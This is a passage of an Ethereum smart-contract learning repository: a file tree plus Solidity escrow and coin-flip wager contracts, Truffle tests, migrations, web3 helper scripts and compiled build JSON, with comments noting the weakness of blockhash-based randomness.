├── .gitattributes ├── .gitignore ├── DecypherTv ├── BasicEscrow │ ├── Utils │ │ ├── TestUtils.js │ │ └── Web3Utils.js │ ├── build │ │ └── contracts │ │ │ ├── Escrow.json │ │ │ └── Migrations.json │ ├── contracts │ │ ├── Escrow.sol │ │ └── Migrations.sol │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── test │ │ ├── TestEscrow.js │ │ └── TestEscrow.sol │ ├── truffle.js │ └── ts.js ├── CoinFlipper │ ├── build │ │ └── contracts │ │ │ ├── BlockDecidingCoinFlipper.json │ │ │ ├── CoinFlipper.json │ │ │ ├── Migrations.json │ │ │ ├── OracleDecidingCoinFlipper.json │ │ │ ├── OraclizeAddrResolverI.json │ │ │ ├── OraclizeI.json │ │ │ └── usingOraclize.json │ ├── contracts │ │ ├── BlockDecidingCoinFlipper.sol │ │ ├── CoinFlipper.sol │ │ ├── Migrations.sol │ │ ├── OracleDecidingCoinFlipper.sol │ │ └── UsingOraclize.sol │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── truffle.js │ ├── ts.js │ └── utils │ │ └── Web3Utils.js ├── Crowdsale │ ├── build │ │ └── contracts │ │ │ ├── Crowdsale.json │ │ │ └── Migrations.json │ ├── contracts │ │ ├── Crowdsale.sol │ │ └── Migrations.sol │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── test │ │ └── test_crowdsale.js │ ├── truffle.js │ ├── ts.js │ └── utils.js └── README.md ├── EIPsERCs ├── EIP712 │ ├── contracts │ │ ├── EcTools.sol │ │ ├── Migrations.sol │ │ └── SignatureVerifier.sol │ ├── migrations │ │ └── 1_initial_migration.js │ ├── test │ │ └── SignatureVerifierTest.js │ └── truffle-config.js ├── ERC165 │ ├── contracts │ │ ├── ERC165Empty.sol │ │ ├── ERC165InterfaceCaller.sol │ │ ├── ERC165InterfaceImplementer.sol │ │ └── Migrations.sol │ ├── migrations │ │ └── 1_initial_migration.js │ ├── package-lock.json │ ├── package.json │ ├── test │ │ ├── ERC165InterfaceCallerTest.js │ │ └── ERC165InterfaceImplementerTest.js │ └── truffle-config.js └── README.md ├── Governance ├── BasicVote │ ├── build │ │ └── contracts │ │ │ ├── Migrations.json │ │ │ └── Vote.json │ ├── contracts │ │ ├── Migrations.sol │ │ └── Vote.sol │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ └── truffle.js ├── Futarchy │ ├── build │ │ └── contracts │ │ │ ├── ERC20.json │ │ │ ├── FutarchyVote.json │ │ │ ├── Migrations.json │ │ │ ├── Ownable.json │ │ │ └── VoteToken.json │ ├── contracts │ │ ├── ERC20.sol │ │ ├── FutarchyVote.sol │ │ ├── Migrations.sol │ │ ├── Ownable.sol │ │ └── VoteToken.sol │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── truffle.js │ └── ts.js ├── LiquidDemocracy │ ├── contracts │ │ ├── DelegationRegistry.sol │ │ ├── Helpers │ │ │ ├── ArrayLib.sol │ │ │ └── LinkedList.sol │ │ ├── LiquidVote.sol │ │ ├── Migrations.sol │ │ └── MiniMeToken.sol │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── test │ │ ├── DelegationRegistryTest.js │ │ ├── Helpers │ │ │ ├── ArrayLib │ │ │ │ ├── ArrayLibHarness.sol │ │ │ │ └── ArrayLibTest.js │ │ │ └── LinkedList │ │ │ │ ├── LinkedListHarness.sol │ │ │ │ └── LinkedListTest.js │ │ └── LiquidVoteTest.js │ └── truffle.js ├── LiquidLockableVote │ ├── build │ │ └── contracts │ │ │ ├── ERC20Token.json │ │ │ ├── FeeVote.json │ │ │ ├── FeeVoteTest.json │ │ │ ├── LinkedList.json │ │ │ ├── LockableVoteToken.json │ │ │ ├── Migrations.json │ │ │ ├── StandardVoteToken.json │ │ │ ├── UnrevealedLockTimes.json │ │ │ ├── UnrevealedLockTimesTest.json │ │ │ ├── VoteReward.json │ │ │ └── Votes.json │ ├── contracts │ │ ├── Migrations.sol │ │ ├── token │ │ │ ├── ERC20Token.sol │ │ │ ├── LockableVoteToken.sol │ │ │ └── StandardVoteToken.sol │ │ └── vote │ │ │ ├── FeeVote.sol │ │ │ ├── FeeVoteTest.sol │ │ │ ├── VoteReward.sol │ │ │ ├── Votes.sol │ │ │ └── unrevealedLockTimes │ │ │ ├── LinkedList.sol │ │ │ ├── UnrevealedLockTimes.sol │ │ │ └── UnrevealedLockTimesTest.sol │ ├── fvt.js │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── truffle.js │ └── vt.js ├── MultiSig │ ├── contracts │ │ ├── ArrayLib.sol │ │ ├── Migrations.sol │ │ └── MultiSigExecutor.sol │ ├── migrations │ │ └── 1_initial_migration.js │ └── truffle.js └── README.md ├── Misc ├── AragonTest │ ├── contracts │ │ ├── Migrations.sol │ │ ├── Ownable.sol │ │ ├── Payroll.sol │ │ ├── PayrollInterface.sol │ │ └── UsDollarToken.sol │ ├── migrations │ │ └── 1_initial_migration.js │ ├── package-lock.json │ ├── package.json │ ├── test │ │ └── PayrollTest.js │ └── truffle.js ├── AssemblyExperiment │ ├── contracts │ │ ├── AssemblyExperiment.sol │ │ ├── DelegateToContract.sol │ │ ├── MemoryExperiment.sol │ │ └── Migrations.sol │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── test │ │ └── AssemblyExperimentTest.js │ └── truffle.js ├── IpfsExperiment │ ├── build │ │ └── contracts │ │ │ ├── IpfsTest.json │ │ │ └── Migrations.json │ ├── contracts │ │ ├── IpfsTest.sol │ │ └── Migrations.sol │ ├── file.txt │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── test │ │ ├── TestMetacoin.sol │ │ └── metacoin.js │ ├── truffle.js │ └── ts.js ├── MetaTransactions │ ├── contracts │ │ ├── EcTools.sol │ │ ├── ExternalContract.sol │ │ ├── MetaTxProxy.sol │ │ └── Migrations.sol │ ├── migrations │ │ └── 1_initial_migration.js │ ├── package-lock.json │ ├── package.json │ ├── test │ │ └── MetaTxProxyTest.js │ └── truffle-config.js ├── README.md └── ZeppelinEthernaut │ ├── contracts │ ├── ForceAttack.sol │ ├── Migrations.sol │ ├── Reentrance.sol │ └── ReentranceAttack.sol │ ├── migrations │ ├── 1_initial_migration.js │ └── 2_deploy_contracts.js │ ├── package-lock.json │ ├── package.json │ ├── test │ └── ReentranceAttackTest.js │ └── truffle.js ├── README.md ├── Tokens ├── ERC223 │ ├── contracts │ │ ├── ExampleERC223Receiver.sol │ │ ├── Implementation │ │ │ ├── StandardERC223Receiver.sol │ │ │ └── StandardERC223Token.sol │ │ ├── Interface │ │ │ ├── ERC223.sol │ │ │ └── ERC223Receiver.sol │ │ └── Migrations.sol │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy.js │ ├── package-lock.json │ ├── package.json │ ├── test │ │ ├── StandardERC223ReceiverTest.js │ │ └── StandardERC223TokenTest.js │ └── truffle.js ├── ERC721 │ ├── contracts │ │ ├── ERC721.sol │ │ ├── Migrations.sol │ │ ├── StandardNonFungibleToken.sol │ │ └── ZeppelinNonFungibleToken.sol │ ├── migrations │ │ └── 1_initial_migration.js │ ├── package-lock.json │ ├── package.json │ ├── test │ │ └── StandardNonFungibleTokenTest.js │ └── truffle.js ├── MiniMeTesting │ ├── contracts │ │ ├── Migrations.sol │ │ └── MiniMeToken.sol │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── test │ │ └── MiniMeTokenTest.js │ └── truffle.js ├── README.md └── YoutubeToken │ ├── .vscode │ └── settings.json │ ├── contracts │ ├── ERC20.sol │ ├── Migrations.sol │ ├── Oraclize.sol │ ├── StandardToken.sol │ ├── YouTubeToken.sol │ └── utils │ │ └── SafeMath.sol │ ├── migrations │ ├── 1_initial_migration.js │ └── 2_deploy_contracts.js │ ├── truffle.js │ └── ts.js ├── Upgradable ├── ByzantiumUpgradable │ ├── contracts │ │ ├── Migrations.sol │ │ ├── Ownable.sol │ │ ├── UpgradableContractProxy.sol │ │ ├── UpgradableContractProxyAssembly.sol │ │ └── upgradableImplementations │ │ │ ├── ContractInterface.sol │ │ │ ├── ContractV1.sol │ │ │ └── ContractV2.sol │ ├── migrations │ │ └── 1_initial_migration.js │ ├── test │ │ └── UpgradableContractProxyTest.js │ └── truffle.js ├── EtherRouter │ ├── contracts │ │ ├── EtherRouter.sol │ │ ├── Migrations.sol │ │ ├── Resolver.sol │ │ └── upgradableImplementations │ │ │ ├── ContractInterface.sol │ │ │ ├── ContractV1.sol │ │ │ └── ContractV2.sol │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── package-lock.json │ ├── test │ │ └── ContractUpgradeTest.js │ └── truffle.js ├── FallbackStorageAccess │ ├── contracts │ │ ├── FallbackContractDelegate.sol │ │ ├── FallbackFuncContract.sol │ │ ├── FallbackFuncInterface.sol │ │ ├── FallbackLibraryDelegate.sol │ │ └── Migrations.sol │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── test │ │ └── TestFallbackFuncTest.js │ └── truffle.js ├── README.md └── ZeppelinUpgradable │ ├── contracts │ ├── Dispatcher.sol │ ├── DispatcherStorage.sol │ ├── LibraryInterface.sol │ ├── LibraryV1.sol │ ├── LibraryV2.sol │ ├── Migrations.sol │ └── TheContract.sol │ ├── migrations │ └── 1_migrations.js │ ├── test │ ├── testClean.js │ └── testOriginal.js │ └── truffle.js ├── Utils ├── TestUtils.js └── web3Utils.js ├── package-lock.json └── package.json /.gitattributes: -------------------------------------------------------------------------------- 1 | *.sol linguist-language=Solidity -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Node Dependencies 2 | node_modules/ 3 | 4 | .idea 5 | **/build 6 | -------------------------------------------------------------------------------- /DecypherTv/BasicEscrow/Utils/TestUtils.js: -------------------------------------------------------------------------------- 1 | 2 | // Copied from internet, original is here: https://gist.github.com/xavierlepretre/d5583222fde52ddfbc58b7cfa0d2d0a9 3 | exports.assertThrows = (action, gasToUse) => { 4 | return new Promise((resolve, reject) => { 5 | try { 6 | resolve(action()); 7 | } catch(e) { 8 | reject(e); 9 | } 10 | }) 11 | .then((txn) => { 12 | // Note I have removed the part allowing us to test on Geth, which requires 13 | // the below function see original to enable testing on Geth. 14 | // https://gist.github.com/xavierlepretre/88682e871f4ad07be4534ae560692ee6 15 | assert.equal(txn.receipt.gasUsed, gasToUse, "should have used all the gas"); 16 | }) 17 | .catch((e) => { 18 | if ((e + "").indexOf("invalid opcode") > -1 || (e + "").indexOf("out of gas") > -1) { 19 | // We are in TestRPC 20 | } else if ((e + "").indexOf("please check your gas amount") > -1) { 21 | // We are in Geth for a deployment 22 | } else { 23 | throw e; 24 | } 25 | }); 26 | }; -------------------------------------------------------------------------------- /DecypherTv/BasicEscrow/Utils/Web3Utils.js: -------------------------------------------------------------------------------- 1 | 2 | // Note we need to leave and reopen truffle console if we change this... 3 | // require caches the js files not sure how to easily prevent this. 4 | 5 | var Web3 = require('web3') 6 | var web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545')); 7 | 8 | var balance = (acct) => { return web3.fromWei(web3.eth.getBalance(acct), 'ether').toNumber() }; 9 | var rawBalance = (acct) => { return web3.eth.getBalance(acct).toNumber() } 10 | 11 | module.exports = { 12 | balance: balance, 13 | rawBalance: rawBalance, 14 | bal0: () => balance(web3.eth.accounts[0]), 15 | bal1: () => balance(web3.eth.accounts[1]), 16 | bal2: () => balance(web3.eth.accounts[2]), 17 | accounts: web3.eth.accounts, 18 | weiToEther: (wei) => { return web3.fromWei(wei, 'ether') }, 19 | etherToWei: (ether) => { return web3.toWei(ether, 'ether') }, 20 | gweiToWei: (gwei) => { return web3.toWei(gwei, 'gwei') } 21 | } -------------------------------------------------------------------------------- /DecypherTv/BasicEscrow/contracts/Escrow.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | contract Escrow { 4 | address public arbiter; 5 | address public sender; 6 | address public receiver; 7 | 8 | function Escrow(address senderArg, address receiverArg) { 9 | arbiter = msg.sender; 10 | sender = senderArg; 11 | receiver = receiverArg; 12 | } 13 | 14 | function lockPayment() payable { 15 | if (msg.sender != sender) { 16 | throw; 17 | } 18 | } 19 | 20 | function releasePayment() { 21 | if (msg.sender != sender && msg.sender != arbiter) { 22 | throw; 23 | } else { 24 | receiver.transfer(this.balance); 25 | } 26 | } 27 | 28 | function returnPayment() { 29 | if (msg.sender != arbiter) { 30 | throw; 31 | } else { 32 | sender.transfer(this.balance); 33 | } 34 | } 35 | } -------------------------------------------------------------------------------- /DecypherTv/BasicEscrow/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /DecypherTv/BasicEscrow/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /DecypherTv/BasicEscrow/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | var Escrow = artifacts.require("Escrow.sol") 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Escrow, web3.eth.accounts[1], web3.eth.accounts[2]); 5 | }; -------------------------------------------------------------------------------- /DecypherTv/BasicEscrow/test/TestEscrow.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | import "truffle/Assert.sol"; 4 | import "truffle/DeployedAddresses.sol"; 5 | import "../contracts/Escrow.sol"; 6 | 7 | contract TestEscrow { 8 | 9 | Escrow escrow; 10 | uint public initialBalance = 1000 wei; 11 | address constant sender = 0xF1B86108ed80B4c376eeC633506a8f2d8599C3a7; 12 | address constant receiver = 0x428F70ED3F1c2Ac7f5C811Fd1bc6F2b38f14c8BA; 13 | 14 | function beforeEach() { 15 | escrow = new Escrow(sender, receiver); 16 | } 17 | 18 | function testArbiterAddressIsTheContractCreator() { 19 | address expectedArbiter = this; 20 | Assert.equal(escrow.arbiter(), expectedArbiter, "Arbiter should be the address creator"); 21 | } 22 | 23 | function testSenderAddressIsCorrectlySet() { 24 | Assert.equal(escrow.sender(), sender, "Sender should be the first argument from the contract's constructor"); 25 | } 26 | 27 | function testReceiverAddressIsCorrectlySet() { 28 | Assert.equal(escrow.receiver(), receiver, "Receiver should be the second argument from the contract's constructor"); 29 | } 30 | 31 | function testLockPaymentThrowsWhenCalledFromNonSenderAddress() { 32 | // Necessary to call raw function to prevent error thrown 'bubbling up' to this contract. 33 | bool lockThrowsError = escrow.call(bytes4(bytes32(sha3("lockPayment()")))); 34 | Assert.isFalse(lockThrowsError, "Escrow lockPayment should throw an error if called from non-sender address"); 35 | } 36 | 37 | function testTransferThrowsWhenCalledFromNonSenderAddress() { 38 | bool sendThrowsError = escrow.send(1000); 39 | Assert.isFalse(sendThrowsError, "Escrow send should throw an error if funds sent from non-sender address"); 40 | Assert.equal(escrow.balance, 0, "Escrow should not receive funds from address other than sender"); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /DecypherTv/BasicEscrow/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*" // Match any network id 7 | } 8 | } 9 | }; 10 | -------------------------------------------------------------------------------- /DecypherTv/BasicEscrow/ts.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | var Utils = require("./Utils/Web3Utils.js") 4 | var Escrow = artifacts.require("./Escrow.sol") 5 | var escrow = Escrow.deployed() 6 | var contractAddress = Escrow.address 7 | 8 | var arbiter = web3.eth.accounts[0] 9 | var sender = web3.eth.accounts[1] 10 | var receiver = web3.eth.accounts[2] 11 | 12 | // BASIC DETAILS 13 | // escrow 14 | // .then((cont) => { 15 | // console.log("Contract address: " + cont.address); 16 | // console.log("Contract balance: " + Utils.balance(cont.address)); 17 | // }) 18 | // escrow 19 | // .then((cont) => { return cont.arbiter.call() }) 20 | // .then((arbiter) => { console.log("Arbiter: " + arbiter) }) 21 | // escrow 22 | // .then((cont) => { return cont.sender.call() }) 23 | // .then((arbiter) => { console.log("Sender: " + arbiter) }) 24 | // escrow 25 | // .then((cont) => { return cont.receiver.call() }) 26 | // .then((arbiter) => { console.log("Receiver: " + arbiter) }) 27 | 28 | // LOCK PAYMENT 29 | // escrow 30 | // .then((cont) => { return cont.lockPayment( 31 | // { value: Utils.etherToWei(1), from: sender, gasPrice: Utils.gweiToWei(20), gas: 50000 }) }) 32 | // .then((tx) => { console.log("Contract balance after send: " + Utils.balance(contractAddress)) }) 33 | 34 | // RELEASE PAYMENT 35 | // escrow 36 | // .then((cont) => { return cont.releasePayment( 37 | // { from: sender, gasPrice: Utils.gweiToWei(20), gas: 100000 }) }) 38 | // .then((tx) => { console.log("Receiver Balance: " + Utils.balance(receiver))}) 39 | 40 | // RETURN PAYMENT 41 | // escrow 42 | // .then((cont) => { return cont.returnPayment({from: arbiter}) }) 43 | // .then((tx) => { console.log("Sender Balance: " + Utils.balance(sender))}) 44 | 45 | module.exports = (callback) => {} -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/build/contracts/BlockDecidingCoinFlipper.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "BlockDecidingCoinFlipper", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [], 7 | "name": "decideWager", 8 | "outputs": [], 9 | "payable": true, 10 | "type": "function" 11 | }, 12 | { 13 | "constant": false, 14 | "inputs": [], 15 | "name": "makeWager", 16 | "outputs": [], 17 | "payable": true, 18 | "type": "function" 19 | }, 20 | { 21 | "constant": false, 22 | "inputs": [], 23 | "name": "acceptWager", 24 | "outputs": [], 25 | "payable": true, 26 | "type": "function" 27 | }, 28 | { 29 | "constant": true, 30 | "inputs": [], 31 | "name": "state", 32 | "outputs": [ 33 | { 34 | "name": "", 35 | "type": "uint8" 36 | } 37 | ], 38 | "payable": false, 39 | "type": "function" 40 | } 41 | ], 42 | "unlinked_binary": "0x606060405260008054819060ff19166001825b0217905550341561001f57fe5b5b6102708061002f6000396000f300606060405263ffffffff60e060020a6000350416634dfe646e8114610042578063aefd02991461004c578063b7ec2a9614610056578063c19d93fb14610060575bfe5b61004a610094565b005b61004a610117565b005b61004a610173565b005b341561006857fe5b6100706101f3565b6040518082600281111561008057fe5b60ff16815260200191505060405180910390f35b600080806002805b60005460ff1660028111156100ad57fe5b141561010a5760003411156100c25760006000fd5b60025440935060ff60020a92508284116100ec576000546101009004600160a060020a03166100f9565b600154600160a060020a03165b9150610104826101fc565b5b610110565b60006000fd5b5b50505050565b6000805b60005460ff16600281111561012c57fe5b141561010a576000805461010060a860020a03191661010033600160a060020a031602178082556001919060ff191682805b02179055505b61016f565b60006000fd5b5b50565b6001805b60005460ff16600281111561018857fe5b141561010a573430600160a060020a0316310334141561010a5760018054600160a060020a03191633600160a060020a0316178155436002908155600080549192909160ff191690835b02179055505b610164565b60006000fd5b5b61016f565b60006000fd5b5b50565b60005460ff1681565b604051600160a060020a0380831691309091163180156108fc02916000818181858888f19350505050151561022d57fe5b60008054819060ff19166001825b02179055505b505600a165627a7a72305820ee0fa7ae626834563446dd63ee0ce10e1e5a6ef4db42e77e96e4d034a88655880029", 43 | "networks": { 44 | "4": { 45 | "events": {}, 46 | "links": {}, 47 | "address": "0x1bf489336d24012d876ae5b56a1552ec37aa9095", 48 | "updated_at": 1496661553623 49 | }, 50 | "1496659879288": { 51 | "events": {}, 52 | "links": {}, 53 | "address": "0x7a592de7791b72a7adfc50ccb6d4c1ac98fc11be", 54 | "updated_at": 1496660661734 55 | }, 56 | "1496676343439": { 57 | "events": {}, 58 | "links": {}, 59 | "address": "0xa724d13ef5cee896d737481bbbe08a515c4601c1", 60 | "updated_at": 1496676368402 61 | } 62 | }, 63 | "schema_version": "0.0.5", 64 | "updated_at": 1496676368402 65 | } -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/build/contracts/CoinFlipper.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "CoinFlipper", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [], 7 | "name": "decideWager", 8 | "outputs": [], 9 | "payable": true, 10 | "type": "function" 11 | }, 12 | { 13 | "constant": false, 14 | "inputs": [], 15 | "name": "makeWager", 16 | "outputs": [], 17 | "payable": true, 18 | "type": "function" 19 | }, 20 | { 21 | "constant": false, 22 | "inputs": [], 23 | "name": "acceptWager", 24 | "outputs": [], 25 | "payable": true, 26 | "type": "function" 27 | }, 28 | { 29 | "constant": true, 30 | "inputs": [], 31 | "name": "state", 32 | "outputs": [ 33 | { 34 | "name": "", 35 | "type": "uint8" 36 | } 37 | ], 38 | "payable": false, 39 | "type": "function" 40 | } 41 | ], 42 | "unlinked_binary": "0x", 43 | "networks": {}, 44 | "schema_version": "0.0.5", 45 | "updated_at": 1496660661507 46 | } -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/build/contracts/Migrations.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Migrations", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "new_address", 9 | "type": "address" 10 | } 11 | ], 12 | "name": "upgrade", 13 | "outputs": [], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [], 20 | "name": "last_completed_migration", 21 | "outputs": [ 22 | { 23 | "name": "", 24 | "type": "uint256" 25 | } 26 | ], 27 | "payable": false, 28 | "type": "function" 29 | }, 30 | { 31 | "constant": true, 32 | "inputs": [], 33 | "name": "owner", 34 | "outputs": [ 35 | { 36 | "name": "", 37 | "type": "address" 38 | } 39 | ], 40 | "payable": false, 41 | "type": "function" 42 | }, 43 | { 44 | "constant": false, 45 | "inputs": [ 46 | { 47 | "name": "completed", 48 | "type": "uint256" 49 | } 50 | ], 51 | "name": "setCompleted", 52 | "outputs": [], 53 | "payable": false, 54 | "type": "function" 55 | }, 56 | { 57 | "inputs": [], 58 | "payable": false, 59 | "type": "constructor" 60 | } 61 | ], 62 | "unlinked_binary": "0x6060604052341561000c57fe5b5b60008054600160a060020a03191633600160a060020a03161790555b5b6101a0806100396000396000f300606060405263ffffffff60e060020a6000350416630900f0108114610042578063445df0ac146100605780638da5cb5b14610082578063fdacd576146100ae575bfe5b341561004a57fe5b61005e600160a060020a03600435166100c3565b005b341561006857fe5b61007061013d565b60408051918252519081900360200190f35b341561008a57fe5b610092610143565b60408051600160a060020a039092168252519081900360200190f35b34156100b657fe5b61005e600435610152565b005b6000805433600160a060020a03908116911614156101375781905080600160a060020a031663fdacd5766001546040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b151561012557fe5b6102c65a03f1151561013357fe5b5050505b5b5b5050565b60015481565b600054600160a060020a031681565b60005433600160a060020a039081169116141561016f5760018190555b5b5b505600a165627a7a72305820838d25a5db2dc001a9faee46e2f800c0695634a872fad420d527807eff6878e80029", 63 | "networks": { 64 | "4": { 65 | "events": {}, 66 | "links": {}, 67 | "address": "0xb4e7c5d3e2fec4995b0ec8682abda8d2ec806001", 68 | "updated_at": 1496661553625 69 | }, 70 | "1496659879288": { 71 | "events": {}, 72 | "links": {}, 73 | "address": "0x98d9739d88ec3c0fe1391556804e4d51c9f8557e", 74 | "updated_at": 1496660661734 75 | }, 76 | "1496676343439": { 77 | "events": {}, 78 | "links": {}, 79 | "address": "0x65c888ea40546fe6838ed3ad0b224c660bd915db", 80 | "updated_at": 1496676368403 81 | } 82 | }, 83 | "schema_version": "0.0.5", 84 | "updated_at": 1496676368403 85 | } -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/build/contracts/OraclizeAddrResolverI.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "OraclizeAddrResolverI", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [], 7 | "name": "getAddress", 8 | "outputs": [ 9 | { 10 | "name": "_addr", 11 | "type": "address" 12 | } 13 | ], 14 | "payable": false, 15 | "type": "function" 16 | } 17 | ], 18 | "unlinked_binary": "0x", 19 | "networks": {}, 20 | "schema_version": "0.0.5", 21 | "updated_at": 1496660661507 22 | } -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/build/contracts/usingOraclize.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "usingOraclize", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "myid", 9 | "type": "bytes32" 10 | }, 11 | { 12 | "name": "result", 13 | "type": "string" 14 | } 15 | ], 16 | "name": "__callback", 17 | "outputs": [], 18 | "payable": false, 19 | "type": "function" 20 | }, 21 | { 22 | "constant": false, 23 | "inputs": [ 24 | { 25 | "name": "myid", 26 | "type": "bytes32" 27 | }, 28 | { 29 | "name": "result", 30 | "type": "string" 31 | }, 32 | { 33 | "name": "proof", 34 | "type": "bytes" 35 | } 36 | ], 37 | "name": "__callback", 38 | "outputs": [], 39 | "payable": false, 40 | "type": "function" 41 | } 42 | ], 43 | "unlinked_binary": "0x6060604052341561000c57fe5b5b61017d8061001c6000396000f300606060405263ffffffff60e060020a60003504166327dc297e811461002c57806338bbfa5014610085575bfe5b341561003457fe5b60408051602060046024803582810135601f8101859004850286018501909652858552610083958335959394604494939290920191819084018382808284375094965061011b95505050505050565b005b341561008d57fe5b60408051602060046024803582810135601f8101859004850286018501909652858552610083958335959394604494939290920191819084018382808284375050604080516020601f89358b0180359182018390048302840183019094528083529799988101979196509182019450925082915084018382808284375094965061014b95505050505050565b005b6101468282600060405180591061012f5750595b908082528060200260200182016040525b5061014b565b5b5050565b5b5050505600a165627a7a7230582054659dc57e65ae445c2deb0fcc4d0a2f8edade526eee90c46a634d5de06a89c80029", 44 | "networks": {}, 45 | "schema_version": "0.0.5", 46 | "updated_at": 1496660661508 47 | } -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/contracts/BlockDecidingCoinFlipper.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | import "./CoinFlipper.sol"; 4 | 5 | contract BlockDecidingCoinFlipper is CoinFlipper { 6 | 7 | function decideWager() payable whenState(State.wagerAccepted) { 8 | // Unfortunate safeguard required when using an abstract contract that needs this method to be payable. 9 | if (msg.value > 0) { throw; } 10 | 11 | // Primitive approach to generating randomness, partly copied from Decypher tutorials. 12 | // Difficult to game by miners as a miner can't mine a block, getting the hash (which determines the winner) 13 | // and then put a tx in it without remining the block and regenerating the hash. However, a miner could only 14 | // include the tx in blocks they create and not submit the block until they create one with a winning seed hash. 15 | // Also only works for the 256 most recent blocks as we can't get the blockHash from before then. 16 | uint blockHashValue = uint(block.blockhash(seedBlockNumber)); 17 | uint halfMaxValue = 57896044618658097711785492504343953926634992332820282019728792003956564819968; 18 | address winner = blockHashValue > halfMaxValue ? wagerAccepter : wagerMaker; 19 | 20 | transferWinningFunds(winner); 21 | } 22 | } -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/contracts/CoinFlipper.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | // Abstract contract requires decideWager function. 4 | // Should probably be a library of some sort. Composition over inheritance and all that! 5 | contract CoinFlipper { 6 | 7 | enum State { noWager, wagerMade, wagerAccepted } 8 | 9 | State public state = State.noWager; 10 | address wagerMaker; 11 | address wagerAccepter; 12 | uint seedBlockNumber; 13 | 14 | modifier whenState(State currentState) { 15 | if (state == currentState) { 16 | _; 17 | } else { 18 | throw; 19 | } 20 | } 21 | 22 | modifier whenTxValueEqualsBalance { 23 | if (msg.value == this.balance - msg.value) { 24 | _; 25 | } else { 26 | throw; 27 | } 28 | } 29 | 30 | function makeWager() 31 | payable 32 | whenState(State.noWager) 33 | { 34 | wagerMaker = msg.sender; 35 | state = State.wagerMade; 36 | } 37 | 38 | function acceptWager() 39 | payable 40 | whenState(State.wagerMade) 41 | whenTxValueEqualsBalance 42 | { 43 | wagerAccepter = msg.sender; 44 | seedBlockNumber = block.number; 45 | state = State.wagerAccepted; 46 | } 47 | 48 | function decideWager() payable whenState(State.wagerAccepted); 49 | 50 | function transferWinningFunds(address winner) internal { 51 | winner.transfer(this.balance); 52 | state = State.noWager; 53 | } 54 | } -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- 